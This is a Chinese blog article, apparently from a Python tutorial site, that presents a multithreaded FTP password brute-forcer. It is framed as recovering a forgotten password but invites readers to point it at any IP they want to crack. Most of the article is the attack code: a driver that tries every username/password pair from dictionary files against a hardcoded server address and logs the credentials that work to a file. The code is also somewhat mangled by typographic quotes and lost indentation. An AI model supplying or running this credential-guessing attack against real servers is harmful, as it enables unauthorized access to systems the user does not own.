忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
pyqt和pyside开发图形化界面
Jan 22 Python
Python探索之pLSA实现代码
Oct 25 Python
Python面向对象class类属性及子类用法分析
Feb 02 Python
对python的unittest架构公共参数token提取方法详解
Dec 17 Python
django的ORM模型的实现原理
Mar 04 Python
基于Python的Post请求数据爬取的方法详解
Jun 14 Python
pycharm重命名文件的方法步骤
Jul 29 Python
Python生命游戏实现原理及过程解析(附源代码)
Aug 01 Python
Python 多线程,threading模块,创建子线程的两种方式示例
Sep 29 Python
Python进行特征提取的示例代码
Oct 15 Python
linux系统下pip升级报错的解决方法
Jan 31 Python
python实现商品进销存管理系统
May 30 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
memcache命令启动参数中文解释
2014/01/13 PHP
jquery+php实现导出datatables插件数据到excel的方法
2015/07/06 PHP
php给图片加文字水印
2015/07/31 PHP
浅析ThinkPHP缓存之快速缓存(F方法)和动态缓存(S方法)(日常整理)
2015/10/26 PHP
用js闭包的方法实现多点标注冒泡示例
2014/05/29 Javascript
javascript 数组操作详解
2015/01/29 Javascript
jQuery层级选择器用法分析
2015/02/10 Javascript
jQuery+canvas实现的球体平抛及颜色动态变换效果
2016/01/28 Javascript
详解js中的apply与call的用法
2016/07/30 Javascript
jQuery实现鼠标经过像翻页和描点链接效果
2016/08/08 Javascript
Angular2学习笔记——详解路由器模型(Router)
2016/12/02 Javascript
微信小程序 使用canvas制作K线实例详解
2017/01/12 Javascript
JS常用知识点整理
2017/01/21 Javascript
JavaScript ES6中export、import与export default的用法和区别
2017/03/14 Javascript
javascript实现非常简单的小数取整功能示例
2017/06/13 Javascript
webpack 打包压缩js和css的方法示例
2018/03/20 Javascript
JS实现读取xml内容并输出到div中的方法示例
2018/04/19 Javascript
layui从数据库中获取复选框的值并默认选中方法
2018/08/15 Javascript
微信小程序中使用 async/await的方法实例分析
2020/05/06 Javascript
详解python函数传参是传值还是传引用
2018/01/16 Python
Python OpenCV 直方图的计算与显示的方法示例
2018/02/08 Python
Python何时应该使用Lambda函数
2019/07/02 Python
python+selenium 鼠标事件操作方法
2019/08/24 Python
详解numpy.ndarray.reshape()函数的参数问题
2020/10/13 Python
python利用xpath爬取网上数据并存储到django模型中
2021/02/26 Python
耐克巴西官方网站:Nike巴西
2016/08/14 全球购物
英国景点门票网站:attractiontix
2019/08/27 全球购物
优秀士兵个人事迹材料
2014/01/19 职场文书
促销活动总结模板
2014/07/01 职场文书
五月的鲜花活动方案
2014/08/21 职场文书
2014年党员整改措施范文
2014/09/21 职场文书
技术负责人岗位职责
2015/02/10 职场文书
2015年实习班主任工作总结
2015/04/23 职场文书
婚礼双方父亲致辞
2015/07/27 职场文书
新学期主题班会
2015/08/17 职场文书
教你win10系统中APPCRASH事件问题解决方法
2022/07/15 数码科技